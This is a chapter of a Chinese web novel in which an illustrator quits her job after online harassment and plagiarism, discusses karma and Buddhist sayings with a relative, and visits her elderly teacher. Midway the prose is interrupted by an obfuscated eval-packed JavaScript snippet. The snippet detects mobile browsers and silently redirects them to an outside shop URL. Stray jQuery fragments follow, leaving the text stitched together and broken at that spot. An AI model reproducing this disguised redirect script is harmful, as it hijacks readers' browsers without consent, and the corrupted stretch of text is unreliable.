又做梦了。
不是蟒,就是蝴蝶,反反复复,如此反复。
每次她只要梦到蝴蝶和蟒,第二天就会心情很好。
人在深水区时,像向上游。着力点在哪儿?之前在潜水区,教练说赵方晴有塌腰的习惯。泳池边儿上,赵方晴坐在那儿踢水。
这人生又何尝不是和游泳一样,越挣扎越往下沉,陆地嘈杂,原来在水中可以冥想。她任由自己的身体沉下去,眼睛微微张阖。
赵方晴提了离职,她的计划是接完学生之后走。
卢飞飞建议:“要不这批学生续完费你就走吧,提前一点,谁也不给谁添麻烦。你接了新一批学生,到时候我们还得把你的□□分给其他老师呢,接生老师不是你,后续跟家长沟通也废事儿。”
“行。”
值完最后一班岗,赵方晴离职了。
……
咖啡店里。
赵方晴扭头看了她一眼:“最近很火的那段话知道不?”
邱言问:“什么?”
赵方晴说:“魔王波旬对佛祖说,末法时代,我的魔子魔孙会穿上你的袈裟,进入你的道场,腐化你的信众,你在的地方我就在,直到我子孙遍地。”
邱言笑了一下:“听起来有意思,那如来佛祖是怎么回答的?”
赵方晴轻咳一声:“佛陀对魔王波旬说,那你也奈何不了我,到时我真正的弟子会脱去袈裟,穿起便衣,深入到世间去。红尘将变成庙宇,家庭将变成道场,脱下袈裟走出庙堂。真佛从不在庙堂,而在的是心中。”
邱言笑了一下:“你现在说话怎么这么……”
“什么?”
“有禅意。”
赵方晴平静地说:“我虽不是医生,我绝不后退。”
赵方晴回桥城待了一段时间。
“辞职了?”
赵胜利开的门。
赵方晴“嗯”了一声:“不辞职干嘛,等人家继续蛐蛐我啊。”
赵胜利笑了笑,赵方晴换了拖鞋进入客厅。
“这是我爸让我带给你的。”
赵胜利看了一眼,去厨房烧了一壶水。
“挺潇洒的啊。”
赵方坐在沙发上,抱了一只熊娃娃:“我再不潇洒一点。要么自杀,要么被当精神病送医院了。”
“哦?有组织的?”
“不知道,非得把我的工作生活都搞的一团糟,才罢休。你说这人为什么会做恶?”
赵胜利笑笑:“没有善恶,立场不同。”
赵方晴皱着眉毛反驳道:“我不无辜?那天晚上我哭着给你打电话,我当时把自己抽离出来了。我问我自己,赵方晴你矫情个什么啊,你明知道自己画的画会刺痛那些作恶人的心,这些结果不都能预料到吗,但是当时不知道为什么给你打电话还是觉得委屈了。”
赵胜利是个安静的倾听者。南墙要她自己撞。一个血肉模糊过的人该如何安慰一个磕破皮的人?旁人说什么也无用,在画作这一方面,赵方晴心中介意,介意抄袭者的侮辱,介意别人复制她的东西。但这些,各行各业很多人都经历过。她要战胜的是她的心。
半晌,她又笑,画风转的极快:“我明明预料到了,我把自己都骗了。这个世界上不是所有人都是为了爱情来的,你能明白吗。”
赵胜利点点头。
赵方晴接着说:“前段时间我妈还给我相亲呢。我要怎么说才能明白呢?爱情不是我的全部,我有更重要的事情去做。”
赵胜利道:“那是境界高的人…与咱们老百姓无关。”
赵方晴想到了余戈,无厘头的冒出了一句:“功在当代,利在千秋。匹夫有责。”
赵方晴从餐桌上拿了一个耙耙柑:“我告诉你,我这个样子一半都是你带的,天天给我念叨佛经,我还真的听心里了。前不久我想起之前咱们讨论过的那个问题,是时势造英雄,还是英雄造时势。我现在比较倾向于时势造英雄,英雄是被造出来的,是有一种力量推着他往前走。”
“怎样说都正确。”
赵胜利看了她一眼。
赵方晴反驳:“懂的人能和你共鸣,不懂的人也就是看不懂。”她抬眼看了赵胜利一眼:“不过我感觉伯牙子期这种感情很可贵。”
赵胜利笑了一下:“对牛弹琴噢。”
“哈?什么意思?我没听明白。我记得对牛弹琴不是说牛听不懂吗。”
赵胜利笑了笑:“牛听得懂,归属在牛。”
赵方晴挠了挠眉心:“我有待参悟,等我再经历经历。”
讲起这些日子的经历,赵方晴依旧愤怒。
赵胜利突然冒出了一句:“菩萨畏因,众生畏果。”
赵方晴问:“这是什么意思?我没明白。”
赵胜利笑了笑:“菩萨担心出现恶果,所以预先除其恶因。菩萨有大智慧,明白因果循环。众生经常作恶因,所以便自然而然的想要避免恶果。没有因哪里来的果,所以我最近在思考这个。”
赵方晴笑笑:“业障?我正在商场里开开心心玩,他们突然发群消息蛐蛐我,骚扰我,甚至直接给我发微信骂我。这是谁的业?”
“你现在要做的就是……”
赵方晴“嗯?”了一声。
赵胜利笑了笑,说了一句什么,赵方晴没听清。
转头,赵胜利又问:“你还和之前那个男孩联系着呢?”
赵方晴夸张一笑:“卧槽,还给我提他呢?是个人,长脑子。卧槽,咱们家去年经历了那么多事儿,我要是还念着他,我是个什么东西啊。他不撺掇着别人恶心我就够了……”
“噢?怎么说?”
赵方晴笑笑:“我偶尔点开他的视频号,想看看他又骂我了没有。包括他的小女朋友,这种事情又不是一次两次了。他和他身边的人总会在我在稿子里画了一些内容发布后,就点赞相关的帖子内涵我。这种手段很拙劣,我不是一次两次警告过了,你就是叫不醒装睡的人怎么办?”
赵胜利:“女朋友?他谈恋爱了?”
赵方晴“嗯哼”了一声:“我,没本事改变别人的心。”
“哦,原来是这个样子啊。”
赵方晴:“我爷爷和姥爷的死,我还要一直像以前那样爱的死去活来吗?”
顿了顿,赵方晴突然想起了一件事儿:“不过,这善和恶来的一样无厘头。我能感觉到有人在背后保护着我。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17791831|210404||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她鼻子有点酸,脑海里是余戈的样子。
赵胜利点了点她,同她说,或者是那人从她身上看到了当初的自己。这点她何曾没想过。
“可是这个善,来的太突如其来了,我不知道对方是怎么看到我的作品。我这个人你也了解,对方帮我,对我好。我很感动。但是我也会想着如何感谢,或许此刻的自己,还没能力。”
她当时问了赵胜利一句话:“你说,一个人的位置和能力远高于你,还愿意俯下身子听你讲,尊重你的所有,这是什么情况?”
赵胜利笑了笑:“有的时候不是说你的作品好,可能你的画笔文笔都很小儿科,只是恰巧对方看懂了。”
赵方晴笑笑:“我就是画给能看懂的人看的啊。那句话不是说吗,被所有人认同的作品大抵没意义。”
赵胜利点点头。
赵方晴嗤笑一声,继而自嘲道:“我他妈都佩服我自己,我可真有本事……我到现在依旧想不通那些人为什么抱团这样对我。”
“你给人一种弱势感。给人一种,很便宜,别人从你这儿拿东西只需要付出感情,不需要价值交换的廉价感。”
赵方晴点点头,扒了一瓣橘子放在嘴里:“我妈的境界都比我高。她最大的好处就是不在乎别人的看法,只要自己开心就好了,这点值得我学习。”
“还是一颗心,看开了就不怎么样了。”
赵方晴顿了顿:“是啊。”
沉默了一会儿。
她从沙发起身:“先不说了,我还要去老师那儿。”
路上经过夜市摊,酸甜苦辣。
赵方晴静静地看着。
这里有着生活的重担,却也有着人间最朴实的烟火气。一辆又一辆小推车停在路边,背后是一个又一个家庭。
你看啊,千钱万钱,人会不满足。吃了一口甜糕,买了一袋子水果,人又总是会轻易满足。大家都在热气腾腾的活着。没有扫兴的城管破坏这样的氛围,众乐乐是她心底的人间。
去了老师家,龚志艳拿了本书给她。
赵方晴笑笑:“老师你怎么也拿书给我,上一次还是我高中的一个班主任。他当时送了我一本《随遇而安》,我一直都没看。”
龚志艳一头蜷曲的白发,脸上皱纹可见,她擦了擦书柜,回头看了赵方晴一眼:“你喜欢啊,老师这里的书你都可以挑挑。”
赵方晴低眸笑了笑,翻开书页,第一页空白处记着孙思邈的《大医精诚》,龚志艳的字迹一如从前清雅秀气。
“凡大医治病,必当安神定志,无欲无求,先发大慈恻隐之心,誓愿普救含灵之苦。若有疾厄来求救者,不得问其贵贱贫富,长幼妍蚩,怨亲善友,华夷愚智,普同一等,皆如至亲之想。亦不得瞻前顾后,自虑吉凶,护惜身命……至人之所不为,斯盖医之本意也。”
一目十行。
晚上,龚志艳留了赵方晴吃饭。
阳台的吊兰开的没有目的,枝繁叶茂。
龚志艳咳嗽了几声,从兜里拿出手帕抿了抿嘴角,脸色通红遮不住疲惫。
赵方晴关切的看了过去。
龚志艳笑笑:“没事儿,前些日子有些感冒。”